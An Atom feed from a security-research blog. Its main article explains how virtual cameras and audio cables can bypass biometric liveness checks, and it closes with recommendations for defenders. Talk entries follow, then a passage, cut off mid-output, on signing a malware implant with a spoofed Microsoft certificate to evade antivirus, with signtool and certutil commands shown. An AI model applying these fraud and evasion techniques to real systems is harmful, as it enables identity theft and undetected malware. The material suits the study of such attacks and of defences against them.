<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://captmeelo.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://captmeelo.com/" rel="alternate" type="text/html" /><updated>2026-09-01T01:36:26+00:00</updated><id>https://captmeelo.com/feed.xml</id><title type="html">Capt. Meelo</title><subtitle>This blog contains write-ups of the things that I researched, learned, and wanted to share to others.</subtitle><author><name>Capt. Meelo</name></author><entry><title type="html">Virtual Assistant: Defeating Liveness Detection with the Help of Virtual Devices</title><link href="https://captmeelo.com/research/2026/04/02/liveness-detection.html" rel="alternate" type="text/html" title="Virtual Assistant: Defeating Liveness Detection with the Help of Virtual Devices" /><published>2026-04-02T00:00:00+00:00</published><updated>2026-04-02T00:00:00+00:00</updated><id>https://captmeelo.com/research/2026/04/02/liveness-detection</id><content type="html" xml:base="https://captmeelo.com/research/2026/04/02/liveness-detection.html"><![CDATA[<p><em><strong>Note</strong>: This research was originally posted <a href="https://www.ioactive.com/virtual-assistant-defeating-liveness-detection-with-the-help-of-virtual-devices/">here</a>.</em></p>

<h2 id="introduction">Introduction</h2>

<p>The rise of fraud and identity theft poses a growing concern for both individuals and organizations. As AI and deepfake technologies advance at an unprecedented pace, the need for a robust form of identity verification has become increasingly important. Traditional identity verification technology has become vulnerable to sophisticated attacks, such as spoofing, where fraudsters mimic someone’s identity. To combat the growing threat, identity providers integrated liveness detection to ensure the person undergoing verification is real, live, and physically present. However, as liveness detection evolves, fraudsters have adapted to bypass this protection.</p>

<p>In this article, we will explore how liveness detection, which is designed to distinguish real users from spoofed representations, can be undermined through the use of virtual devices. We will cover the tools and techniques, the setup process, and a demonstration of the bypasses. We will also discuss how criminals take advantage of the biometric data (facial images, voice recordings, and ID photos) individuals and organizations often unknowingly post and leave online. Finally, we will conclude with practical recommendations to help identity providers combat such attacks and improve their systems.</p>

<h2 id="understanding-remote-identity-proofing">Understanding Remote Identity Proofing</h2>

<p>Remote Identity Proofing (RIDP) is the process of <strong>verifying someone’s identity</strong> through digital channels without requiring their physical presence. This helps combat fraud by confirming the end users are <strong>real</strong> and <strong>who they claim to be</strong>. In sectors like banking, insurance, cryptocurrencies, and payments, RIDP has emerged as a key component of digital trust. RIDP also plays a big role in regulatory programs like Know Your Customer (KYC), Customer Due Diligence (CDD), and Anti‑Money Laundering (AML).</p>

<p><a href="/static/img/2026-04-02-liveness-detection/ridp-process.png"><img src="/static/img/2026-04-02-liveness-detection/ridp-process.png" alt="RIDP Process" /></a></p>

<p>Common forms of RIDP include:</p>

<ul>
  <li><strong>Document validation</strong>, which relies upon the authenticity of government issued IDs such as passports or driver’s licenses.</li>
  <li><strong>Biometric verification</strong>, such as facial recognition, fingerprint scanning, and voice authentication, which focuses on someone’s unique physical characteristics.</li>
  <li><strong>Knowledge-based approaches</strong>, wherein multiple signals (e.g., passwords, PINs, OTPs) are collected.</li>
</ul>

<h2 id="verification-methods--their-related-attacks">Verification Methods &amp; Their Related Attacks</h2>

<p>This article focuses on the following forms of identity verification:</p>

<ul>
  <li>Facial Recognition</li>
  <li>Document Validation</li>
  <li>Voice Authentication</li>
</ul>

<h3 id="facial-recognition"><strong>Facial Recognition</strong></h3>

<p>Facial recognition is the process where a user’s <strong>facial features are captured, extracted, and compared against a database of faces</strong> to confirm identity.  In practice, this makes the camera pipeline and its integrity (how the face data is acquired and delivered to the verification component) a critical security boundary.</p>

<p><a href="/static/img/2026-04-02-liveness-detection/face-recognition-process.png"><img src="/static/img/2026-04-02-liveness-detection/face-recognition-process.png" alt="Facial Recognition Process" /></a></p>

<p>With this type of verification, fraudsters seek to impersonate a real person through <strong>Facial Spoofing</strong>, wherein a valid‑looking fake representation of the target is presented to the camera. This is typically carried out via:</p>

<ul>
  <li><strong>2D Spoofing</strong> - presenting a printed photo or image displayed on a digital device (e.g., monitor or phone) to the camera.</li>
  <li><strong>Video Replay</strong> - presenting a pre‑recorded video to the camera rather than a live capture.</li>
  <li><strong>3D/Silicon Masks</strong> - creating a 3D reconstruction of a face or a mask to simulate a face in a physically present form.</li>
</ul>

<p><a href="/static/img/2026-04-02-liveness-detection/face-recognition-attack.png"><img src="/static/img/2026-04-02-liveness-detection/face-recognition-attack.png" alt="Facial Recognition Attacks" /></a></p>

<h3 id="document-validation"><strong>Document Validation</strong></h3>

<p>Another method is <strong>verifying the authenticity and validity of an identity document</strong> such as a passport, national ID, or driver’s license.  This method, called Document Validation, typically includes checking visual and structural cues and determining whether the presented document is legitimate versus altered or fabricated.</p>

<p><a href="/static/img/2026-04-02-liveness-detection/doc-validation-process.png"><img src="/static/img/2026-04-02-liveness-detection/doc-validation-process.png" alt="Document Validation Process" /></a></p>

<p>In an attempt to bypass document validation, fraudsters typically impersonate someone by presenting stolen, forged, or falsified documents. This is called <strong>Document Spoofing</strong> and common methods include:</p>

<ul>
  <li><strong>Printed Copy</strong> - using a printed reproduction of an authentic or forged document.</li>
  <li><strong>Screen Replay</strong> - presenting a legitimate (stolen) or forged document via a digital screen.</li>
  <li><strong>Portrait Overlay/Substitution</strong> - placing someone else’s photo over the original photo in a legitimate document.</li>
</ul>

<p><a href="/static/img/2026-04-02-liveness-detection/doc-validation-attack.png"><img src="/static/img/2026-04-02-liveness-detection/doc-validation-attack.png" alt="Document Validation Attacks" /></a></p>

<h3 id="voice-authentication"><strong>Voice Authentication</strong></h3>

<p>Voice authentication identifies a person <strong>based on the unique biological characteristics of their voice</strong>, including traits such as dynamics, pitch, intensity, and articulation.  As with face and document capture, the trustworthiness of the capture channel (microphone input and the path from device to verification system) is foundational.</p>

<p><a href="/static/img/2026-04-02-liveness-detection/voice-authentication-process.png"><img src="/static/img/2026-04-02-liveness-detection/voice-authentication-process.png" alt="Voice Authentication Process" /></a></p>

<p><strong>Speech Spoofing</strong> focuses on impersonating a target user by producing a voice output that matches the target’s “voice print/pattern” and speech behavior. Common methods are:</p>

<ul>
  <li><strong>Voice Imitation/Conversion</strong> - making the fraudster’s voice sound similar to the target’s voice.</li>
  <li><strong>Speech Synthesis/Cloning</strong> - using AI and text‑to‑speech (TTS) technologies to generate a replica of the target’s voice.</li>
  <li><strong>Voice Replay</strong> - using a pre‑recorded voice of the target.</li>
</ul>

<p><a href="/static/img/2026-04-02-liveness-detection/voice-authentication-attack.png"><img src="/static/img/2026-04-02-liveness-detection/voice-authentication-attack.png" alt="Document Validation Attacks" /></a></p>

<h2 id="liveness-detection-as-a-defensive-control">Liveness Detection as a Defensive Control</h2>

<p>Liveness detection aims to prevent spoofing attacks by ensuring the user is live and physically or actively present at the time of the verification process rather than a recording or synthetic source. Liveness detection is implemented either <strong>passively</strong> or <strong>actively</strong>. With <strong>passive liveness detection</strong>, the verification system analyzes biometric signals without requiring explicit user interaction for a faster and seamless experience. As for <strong>active liveness detection</strong>, the system prompts users to perform actions such as head movements or speaking phrases to ensure users are actively/physically present during the verification process; however, it adds friction and inconvenience to some users.</p>

<p><a href="/static/img/2026-04-02-liveness-detection/passive-active-liveness.png"><img src="/static/img/2026-04-02-liveness-detection/passive-active-liveness.png" alt="Passive vs Active Liveness" /></a></p>

<p>The following demonstrates how liveness detection works for each verification system discussed above:</p>

<h4 id="facial-liveness"><strong>Facial Liveness</strong></h4>

<p>RIDP systems typically check for facial liveness using a combination of active and passive methods. Active liveness uses randomized challenge–response prompts, such as blinking or head movements, to confirm real‑time interaction. On the other hand, passive liveness runs in the background, analyzing depth cues, skin texture, light reflections, and subtle physiological signals that are difficult for photos, videos, or deepfakes to replicate.</p>

<table style="margin-left: auto; margin-right: auto;">
  <thead>
    <tr>
      <th style="text-align: center"><video src="/static/img/2026-04-02-liveness-detection/facial-liveness-in-action.mp4" controls="controls" style="max-width: 640px;"></video></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center"><em>Credit: <a href="https://www.youtube.com/watch?v=FCuRob8stis">PresentID</a></em></td>
    </tr>
  </tbody>
</table>

<h4 id="document-liveness"><strong>Document Liveness</strong></h4>

<p>Instead of checking a document’s format or text alone, document liveness analyzes how a document interacts with light and motion. Real IDs exhibit natural reflections on holograms and laminates, realistic shadows, and consistent texture patterns. Screen replays and printed copies expose artifacts such as Moiré patterns <em>(image distortion due  to the overlapping grid pattern between the display and the camera capturing it)</em>, color limitations, or unnatural edges, which modern AI models are trained to detect within a single image or a short video capture.</p>

<table style="margin-left: auto; margin-right: auto;">
  <thead>
    <tr>
      <th style="text-align: center"><video src="/static/img/2026-04-02-liveness-detection/doc-liveness-in-action.mp4" controls="controls" style="max-width: 640px;"></video></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center"><em>Credit: <a href="https://www.youtube.com/watch?v=9YBzoMwPKrI">ID R&amp;D</a></em></td>
    </tr>
  </tbody>
</table>

<h4 id="voice-liveness"><strong>Voice Liveness</strong></h4>

<p>Passive voice liveness analyzes spectral and temporal characteristics of speech, identifying artifacts common in text‑to‑speech, voice cloning, and replay attacks. Whereas active liveness adds challenge‑response prompts, requiring users to speak unpredictable phrases (instead of predefined ones) in real time, making replay and synthetic attacks far more difficult.</p>

<table style="margin-left: auto; margin-right: auto;">
  <thead>
    <tr>
      <th style="text-align: center"><video src="/static/img/2026-04-02-liveness-detection/voice-liveness-in-action.mp4" controls="controls" style="max-width: 640px;"></video></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center"><em>Credit: <a href="https://www.youtube.com/watch?v=eod8dQe1ED8">ID R&amp;D</a></em></td>
    </tr>
  </tbody>
</table>

<h2 id="injection-attacks-against-liveness-detection">Injection Attacks Against Liveness Detection</h2>

<p>As liveness detection matured and spoofing/replay attacks became easier to detect, threat actors shifted toward more sophisticated techniques. This led to the rise of <strong>injection attacks</strong>, which target the verification pipeline instead of the sensor. Instead of fooling the sensors by presenting falsified media to a camera or microphone, injection attacks feed prerecorded, manipulated, or synthetic biometric data directly into the application or API. This makes the system believe the input is legitimate, since the injected data is a bit-for-bit replica of the source media and is of high quality.</p>

<p>The following diagram illustrates the difference between a replay and an injection attack:</p>

<p><a href="/static/img/2026-04-02-liveness-detection/replay-vs-injection.png"><img src="/static/img/2026-04-02-liveness-detection/replay-vs-injection.png" alt="Replay vs. Injection Attack" /></a></p>

<p>Typically, <strong>Injection Attack Methods (IAM)</strong> fall into two categories: attacks performed <strong>via modified or falsified devices</strong>, and attacks performed <strong>via substitution of captured media</strong>.</p>

<h3 id="injection-via-modified-or-falsified-devices">Injection via Modified or Falsified Devices</h3>

<p>In this type of attack, the attacker manipulates the capture environment itself so that falsified media is treated as legitimate. One approach involves the use of <strong>virtual devices</strong>, where software‑based cameras or microphones emulate physical hardware. These virtual components can present attacker‑controlled images, videos, or audio streams directly to the verification system while appearing as standard capture devices.</p>

<p><a href="/static/img/2026-04-02-liveness-detection/iam-virtual-device.png"><img src="/static/img/2026-04-02-liveness-detection/iam-virtual-device.png" alt="Using a Virtual Device" /></a></p>

<p>Another approach uses <strong>hardware modules</strong> inserted between the sensor and the RIDP system. In this method, the hardware intercepts and replaces genuine sensor output with attacker‑supplied data before it reaches the verification logic.</p>

<p><a href="/static/img/2026-04-02-liveness-detection/iam-hardware-module.png"><img src="/static/img/2026-04-02-liveness-detection/iam-hardware-module.png" alt="Using a Hardware Module" /></a></p>

<p>A third variant relies on <strong>device emulators</strong>, where the entire verification environment is simulated. Emulated devices can present falsified data while mimicking expected device characteristics, allowing attackers to test and refine injection techniques at scale.</p>

<p><a href="/static/img/2026-04-02-liveness-detection/iam-emulator.png"><img src="/static/img/2026-04-02-liveness-detection/iam-emulator.png" alt="Using a Device Emulator" /></a></p>

<h3 id="injection-via-substitution-of-captured-media">Injection via Substitution of Captured Media</h3>

<p>Rather than altering the device itself, some threat actors may instead target the verification path that handles the captured media. One technique involves <strong>function hooking</strong>, where application- or system‑level functions responsible for camera or microphone input are intercepted and modified. This allows attackers to replace genuine capture data with prerecorded or synthetic media at runtime.</p>

<p><a href="/static/img/2026-04-02-liveness-detection/iam-function-hooking.png"><img src="/static/img/2026-04-02-liveness-detection/iam-function-hooking.png" alt="Using Function Hooking" /></a></p>

<p>Another method relies on <strong>traffic interception</strong>, commonly described as a man‑in‑the‑middle (MiTM) scenario. In this case, media streams are intercepted and altered as they are transmitted between the client and backend services, enabling substitution without modifying the physical capture process.</p>

<p><a href="/static/img/2026-04-02-liveness-detection/iam-mitm.png"><img src="/static/img/2026-04-02-liveness-detection/iam-mitm.png" alt="Using Function Hooking" /></a></p>

<h2 id="using-virtual-devices-to-circumvent-liveness-detection">Using Virtual Devices to Circumvent Liveness Detection</h2>

<p>The final area to address is the use of virtual devices as a cheap and simple means to defeat liveness detection implemented with different verification methods.</p>

<p><strong>Virtual devices</strong> are software-based devices that mimic the capabilities of physical devices and allow users to select different source media (images, videos, audio, scenes, etc.) and feed them to other applications. Because virtual devices are inexpensive (mostly open-source), easy to configure, and widely used for legitimate purposes such as streaming and conferencing, they present a scalable and practical attack vector.</p>

<h3 id="attack-demonstration">Attack Demonstration</h3>

<h4 id="virtual-device-against-facial-liveness">Virtual Device Against Facial Liveness</h4>

<p><em><strong>Scenario:</strong> Instead of using the phone’s native camera for a live capture, a fraudster injects a pre-recorded video using a virtual camera.</em></p>

<div style="display: flex; justify-content: center;"><video src="/static/img/2026-04-02-liveness-detection/demo-face.mp4" controls="controls" style="max-width: 640px;"></video></div>

<h4 id="virtual-device-against-document-liveness">Virtual Device Against Document Liveness</h4>

<p><em><strong>Scenario:</strong> Instead of using a camera to capture the ID, the fraudster uses a virtual camera to submit it to the RIDP system.</em></p>

<div style="display: flex; justify-content: center;"><video src="/static/img/2026-04-02-liveness-detection/demo-doc.mp4" controls="controls" style="max-width: 640px;"></video></div>

<h4 id="virtual-device-against-voice-liveness">Virtual Device Against Voice Liveness</h4>

<p><em><strong>Scenario:</strong> Instead of speaking through a microphone, the fraudster submits an audio record to the RIDP system using a virtual audio cable.</em></p>

<div style="display: flex; justify-content: center;"><video src="/static/img/2026-04-02-liveness-detection/demo-voice.mp4" controls="controls" style="max-width: 640px;"></video></div>

<h3 id="threats-widespread-biometric-data-exposure">Threats: Widespread Biometric Data Exposure</h3>

<p>A major factor behind the growing success of identity theft and imposter scams is the widespread availability of biometric data. Identity impersonation is no longer a high‑effort operation. Today, attackers can obtain biometric artifacts of their victims remotely, quickly, and at scale. Identity theft and impersonation no longer depend on physical proximity to the victim; attackers can now acquire usable biometric samples remotely and at scale.</p>

<p>Social media platforms have effectively become open biometric repositories. Profile pictures, short‑form videos, and live streams expose high‑quality facial imagery and voice samples across a wide range of lighting conditions, angles, and expressions. For attackers, this content is often more than sufficient to fuel replay attacks, deepfake generation, or voice cloning. Vlogs and user‑generated video content further raise the bar by offering extended, natural recordings of both face and voice. These longer samples reveal behavioral nuances, such as speech rhythm, pauses, expressions, and movement patterns, that can be leveraged to evade passive liveness detection and behavioral analysis.</p>

<p><a href="/static/img/2026-04-02-liveness-detection/threats-socmed1.png"><img src="/static/img/2026-04-02-liveness-detection/threats-socmed1.png" alt="Biometric Data from Social Medias" /></a></p>

<p><a href="/static/img/2026-04-02-liveness-detection/threats-socmed2.gif"><img src="/static/img/2026-04-02-liveness-detection/threats-socmed2.gif" alt="Biometric Data from Social Medias" /></a></p>

<p>The most severe risk comes from database and KYC leaks, which may expose high‑resolution IDs, enrollment selfies, and voice samples.</p>

<p><a href="/static/img/2026-04-02-liveness-detection/threats-kyc1.png"><img src="/static/img/2026-04-02-liveness-detection/threats-kyc1.png" alt="KYC Leaks" /></a></p>

<p><a href="/static/img/2026-04-02-liveness-detection/threats-kyc2.png"><img src="/static/img/2026-04-02-liveness-detection/threats-kyc2.png" alt="KYC Leaks" /></a></p>

<p>This level of biometric exposure fundamentally reshapes the RIDP threat model. Biometric data can no longer be treated as a protected secret. Instead, trust must shift toward verifiable capture integrity, proving that data was generated by a real sensor on a real device at a specific moment. Without strong capture‑time guarantees and device‑level assurance, even advanced liveness detection remains vulnerable to high‑fidelity impersonation attacks.</p>

<p>As biometric data becomes easier to obtain, the threat shifts from <strong><em>“Can attackers get the data?”</em></strong> to <strong><em>“Can systems reliably prove how and when the data was captured?”</em></strong>. Addressing this shift is essential to defending modern RIDP deployments against scalable impersonation attacks.</p>

<h3 id="recommendations">Recommendations</h3>

<p>To mitigate these risks, organizations should adopt a layered defense strategy, such as:</p>

<ul>
  <li>Identifying virtual devices through metadata, hardware identifiers, and supported capabilities.</li>
  <li>Detecting emulated environments using hardware characteristics, sensor availability, performance profiles, and interaction patterns.</li>
  <li>Ensuring authenticity and fidelity through remote image attestation, cryptographic signing, timestamping, and challenge‑response mechanisms.</li>
  <li>Analyzing input data and session metadata for anomalies, mismatches, or missing sensor signals that indicate virtual sources.</li>
  <li>Switching to mobile‑only RIDP by taking advantage of mobile security features like Trusted Execution Environments and sensor telemetry.</li>
  <li>Combining multimodal verification and human review for high‑risk use cases, supported by logging and analysis of failed attempts.</li>
</ul>

<h3 id="conclusion">Conclusion</h3>

<p>Remote Identity Proofing is essential to modern digital ecosystems, but it operates in a constantly evolving adversarial environment. As replay attacks lose effectiveness, injection attacks pose a more serious challenge to liveness detection. RIDP systems should assume that the capture device itself may be untrusted and design controls accordingly.</p>

<p>Ultimately, securing remote identity verification remains a cat‑and‑mouse game, and defending them against threats requires more than a single control; it demands continuous improvement, layered defenses, and an in-depth understanding of both attacker capabilities and system limitations.</p>]]></content><author><name>Capt. Meelo</name></author><category term="research" /><summary type="html"><![CDATA[Explore how cybercriminals are leveraging virtual devices, which are affordable, accessible, and efficient means to defeat liveness detection in face, document, and voice verification systems.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://captmeelo.com/static/img/2026-04-02-liveness-detection/replay-vs-injection.png" /><media:content medium="image" url="https://captmeelo.com/static/img/2026-04-02-liveness-detection/replay-vs-injection.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">[ROOTCON 18] Seeing is Not Believing: Bypassing Facial Liveness Detection by Fooling the Sensor</title><link href="https://captmeelo.com/talks/research/2024/09/26/rootcon18.html" rel="alternate" type="text/html" title="[ROOTCON 18] Seeing is Not Believing: Bypassing Facial Liveness Detection by Fooling the Sensor" /><published>2024-09-26T00:00:00+00:00</published><updated>2024-09-26T00:00:00+00:00</updated><id>https://captmeelo.com/talks/research/2024/09/26/rootcon18</id><content type="html" xml:base="https://captmeelo.com/talks/research/2024/09/26/rootcon18.html"><![CDATA[<h2 id="abstract">Abstract</h2>

<p><a href="/static/img/2024-09-26-rootcon18/rc18-abstract.png"><img src="/static/img/2024-09-26-rootcon18/rc18-abstract.png" alt="Abstract" /></a></p>

<h2 id="talk">Talk</h2>

<p align="center">
  <iframe width="800" height="540" src="https://www.youtube.com/embed/9a5VojeUu24?si=RgPPZIDyLH3RSj9G" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>
</p>

<h2 id="slides">Slides</h2>

<object data="/static/img/2024-09-26-rootcon18/slides.pdf" width="800" height="400" type="application/pdf"></object>]]></content><author><name>Capt. Meelo</name></author><category term="talks" /><category term="research" /><summary type="html"><![CDATA[A copy of the slides from my ROOTCON 18 talk demonstrating how to bypass facial liveness detection systems on different platforms.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://captmeelo.com/static/img/2024-09-26-rootcon18/rc18-title-page.png" /><media:content medium="image" url="https://captmeelo.com/static/img/2024-09-26-rootcon18/rc18-title-page.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">[SANS HackFest 2022] Developing High-Impact Malware with Minimal Effort</title><link href="https://captmeelo.com/talks/research/2022/11/14/sans-hackfest.html" rel="alternate" type="text/html" title="[SANS HackFest 2022] Developing High-Impact Malware with Minimal Effort" /><published>2022-11-14T00:00:00+00:00</published><updated>2022-11-14T00:00:00+00:00</updated><id>https://captmeelo.com/talks/research/2022/11/14/sans-hackfest</id><content type="html" xml:base="https://captmeelo.com/talks/research/2022/11/14/sans-hackfest.html"><![CDATA[<h2 id="talk">Talk</h2>

<p align="center">
  <iframe width="800" height="540" src="https://www.youtube.com/embed/wY0cj3Ucqcw" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen=""></iframe>
</p>

<h2 id="slides">Slides</h2>

<p align="center">
  <iframe src="//www.slideshare.net/slideshow/embed_code/key/6spugMhfaCuSYo" width="800" height="540" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" style="border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;" allowfullscreen=""></iframe>
</p>

<h2 id="infographic">Infographic</h2>

<p><a href="/static/img/2022-11-14-sans-hackfest/infographic.jpeg"><img src="/static/img/2022-11-14-sans-hackfest/infographic.jpeg" alt="Infographic" /></a></p>

<p><strong>Credits:</strong> <a href="https://www.mindseyecreative.ca/">Mind’s Eye Creative</a></p>]]></content><author><name>Capt. Meelo</name></author><category term="talks" /><category term="research" /><summary type="html"><![CDATA[A copy of the presentation I presented on how to quickly and easily develop malware from the perspective of someone who has limited time and basic programming skills.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://captmeelo.com/static/img/2022-11-14-sans-hackfest/sans-card.jpg" /><media:content medium="image" url="https://captmeelo.com/static/img/2022-11-14-sans-hackfest/sans-card.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Lessons Learned from Cloning Windows Binaries and Code Signing Implants</title><link href="https://captmeelo.com/redteam/maldev/2022/11/07/cloning-signing.html" rel="alternate" type="text/html" title="Lessons Learned from Cloning Windows Binaries and Code Signing Implants" /><published>2022-11-07T00:00:00+00:00</published><updated>2022-11-07T00:00:00+00:00</updated><id>https://captmeelo.com/redteam/maldev/2022/11/07/cloning-signing</id><content type="html" xml:base="https://captmeelo.com/redteam/maldev/2022/11/07/cloning-signing.html"><![CDATA[<blockquote>
  <p><em>All the lessons I’m sharing here are based on what I learned/observed during my experiment.</em></p>
</blockquote>

<p><a href="https://antiscan.me/">AntiScan.Me</a> has always been my choice to check how my implant fares against different AV software/companies. The main reason is they never distribute the scan results <em>(well, at least that’s what they <a href="https://antiscan.me/faq">claim</a>)</em> compared to <a href="https://www.virustotal.com/gui/home/upload">VirusTotal</a>.</p>

<p>Checking the detection (evasion) rate of my implant helps improve my maldev skills. It also forces me to learn and research different evasion techniques which I find challenging and fun. But recently, I got stuck trying to get a <strong>0/26</strong> detection rate. Here’s an image showing the detection rate of the implant that I have written.</p>

<p><a href="/static/img/2022-11-07-cloning-signing/base-implant.png"><img src="/static/img/2022-11-07-cloning-signing/base-implant.png" alt="Base Implant" /></a></p>

<p>I’m quite happy with the result though since the majority of the AV products failed to detect it. But, I’m not satisfied so I keep thinking and trying different ways to improve the detection rate. After several attempts and testing, nothing worked and the detection rate remains the same. After doing some research, I came across <strong>Code Signing</strong> to make my binary look “trusted” (even though it should not be trusted as it’s actually doing malicious things). I don’t want to spend a dime purchasing a valid code signing certificate so I opted to use an invalid/spoofed certificate.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\bin</span><span class="err">&gt;</span><span class="w"> </span><span class="o">.</span><span class="nx">\signtool.exe</span><span class="w"> </span><span class="nx">sign</span><span class="w"> </span><span class="nx">/v</span><span class="w"> </span><span class="nx">/f</span><span class="w"> </span><span class="o">.</span><span class="nx">\cert.pfx</span><span class="w"> </span><span class="nx">/fd</span><span class="w"> </span><span class="nx">SHA256</span><span class="w"> </span><span class="o">.</span><span class="nx">\base-implant.exe</span><span class="w">
</span><span class="n">The</span><span class="w"> </span><span class="nx">following</span><span class="w"> </span><span class="nx">certificate</span><span class="w"> </span><span class="nx">was</span><span class="w"> </span><span class="nx">selected:</span><span class="w">
    </span><span class="n">Issued</span><span class="w"> </span><span class="nx">to:</span><span class="w"> </span><span class="nx">www.microsoft.com</span><span class="w">
    </span><span class="n">Issued</span><span class="w"> </span><span class="nx">by:</span><span class="w"> </span><span class="nx">Microsoft</span><span class="w"> </span><span class="nx">Azure</span><span class="w"> </span><span class="nx">TLS</span><span class="w"> </span><span class="nx">Issuing</span><span class="w"> </span><span class="nx">CA</span><span class="w"> </span><span class="nx">06</span><span class="w">
    </span><span class="n">Expires:</span><span class="w">   </span><span class="nx">Sat</span><span class="w"> </span><span class="nx">Sep</span><span class="w"> </span><span class="nx">30</span><span class="w"> </span><span class="nx">07:23:11</span><span class="w"> </span><span class="nx">2023</span><span class="w">
    </span><span class="n">SHA1</span><span class="w"> </span><span class="nx">hash:</span><span class="w"> </span><span class="nx">1FE9A0EC7C3D307369DF61348838DC12F3FAE024</span><span class="w">

</span><span class="n">Done</span><span class="w"> </span><span class="nx">Adding</span><span class="w"> </span><span class="nx">Additional</span><span class="w"> </span><span class="nx">Store</span><span class="w">
</span><span class="n">Successfully</span><span class="w"> </span><span class="nx">signed:</span><span class="w"> </span><span class="o">.</span><span class="nx">\base-implant.exe</span><span class="w">

</span><span class="n">Number</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">files</span><span class="w"> </span><span class="nx">successfully</span><span class="w"> </span><span class="nx">Signed:</span><span class="w"> </span><span class="nx">1</span><span class="w">
</span><span class="n">Number</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">warnings:</span><span class="w"> </span><span class="nx">0</span><span class="w">
</span><span class="n">Number</span><span class="w"> </span><span class="nx">of</span><span class="w"> </span><span class="nx">errors:</span><span class="w"> </span><span class="nx">0</span><span class="w">
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">cert.pfx</code> file used from the above command was derived from a certificate and key created from the <code class="language-plaintext highlighter-rouge">www.microsoft.com</code> domain.</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">PS</span><span class="w"> </span><span class="nx">C:\bin</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">certutil.exe</span><span class="w"> </span><span class="nt">-dump</span><span class="w"> </span><span class="o">.</span><span class="nx">\cert.pfx</span><span class="w">
</span><span class="n">Enter</span><span class="w"> </span><span class="nx">PFX</span><span class="w"> </span><span class="nx">password:</span><span class="w">
</span><span class="o">================</span><span class="w"> </span><span class="n">Certificate</span><span class="w"> </span><span class="nx">0</span><span class="w"> </span><span class="o">================</span><span class="w">
</span><span class="o">================</span><span class="w"> </span><span class="kr">Begin</span><span class="w"> </span><span class="n">Nesting</span><span class="w"> </span><span class="nx">Level</span><span class="w"> </span><span class="nx">1</span><span class="w"> </span><span class="o">================</span><span class="w">
</span><span class="n">Element</span><span class="w"> </span><span class="nx">0:</span><span class="w">
</span><span class="n">Serial</span><span class="w"> </span><span class="nx">Number:</span><span class="w"> </span><span class="nx">330059f8b6da8689706ffa1bd900000059f8b6</span><span class="w">
</span><span class="n">Issuer:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">Microsoft</span><span class="w"> </span><span class="nx">Azure</span><span class="w"> </span><span class="nx">TLS</span><span class="w"> </span><span class="nx">Issuing</span><span class="w"> </span><span class="nx">CA</span><span class="w"> </span><span class="nx">06</span><span class="p">,</span><span class="w"> </span><span class="nx">O</span><span class="o">=</span><span class="n">Microsoft</span><span class="w"> </span><span class="nx">Corporation</span><span class="p">,</span><span class="w"> </span><span class="nx">C</span><span class="o">=</span><span class="n">US</span><span class="w">
 </span><span class="nx">NotBefore:</span><span class="w"> </span><span class="nx">10/5/2022</span><span class="w"> </span><span class="nx">7:23</span><span class="w"> </span><span class="nx">AM</span><span class="w">
 </span><span class="n">NotAfter:</span><span class="w"> </span><span class="nx">9/30/2023</span><span class="w"> </span><span class="nx">7:23</span><span class="w"> </span><span class="nx">AM</span><span class="w">
</span><span class="n">Subject:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">www.microsoft.com</span><span class="p">,</span><span class="w"> </span><span class="nx">O</span><span class="o">=</span><span class="n">Microsoft</span><span class="w"> </span><span class="nx">Corporation</span><span class="p">,</span><span class="w"> </span><span class="nx">L</span><span class="o">=</span><span class="n">Redmond</span><span class="p">,</span><span class="w"> </span><span class="nx">S</span><span class="o">=</span><span class="n">WA</span><span class="p">,</span><span class="w"> </span><span class="nx">C</span><span class="o">=</span><span class="n">US</span><span class="w">
</span><span class="nx">Signature</span><span class="w"> </span><span class="nx">matches</span><span class="w"> </span><span class="nx">Public</span><span class="w"> </span><span class="nx">Key</span><span class="w">
</span><span class="n">Non-root</span><span class="w"> </span><span class="nx">Certificate</span><span class="w"> </span><span class="nx">uses</span><span class="w"> </span><span class="nx">same</span><span class="w"> </span><span class="nx">Public</span><span class="w"> </span><span class="nx">Key</span><span class="w"> </span><span class="nx">as</span><span class="w"> </span><span class="nx">Issuer</span><span class="w">
</span><span class="n">Cert</span><span class="w"> </span><span class="nx">Hash</span><span class="p">(</span><span class="n">sha1</span><span class="p">):</span><span class="w"> </span><span class="mi">1</span><span class="n">fe9a0ec7c3d307369df61348838dc12f3fae024</span><span class="w">
</span><span class="o">----------------</span><span class="w">  </span><span class="nx">End</span><span class="w"> </span><span class="nx">Nesting</span><span class="w"> </span><span class="nx">Level</span><span class="w"> </span><span class="nx">1</span><span class="w">  </span><span class="o">----------------</span><span class="w">
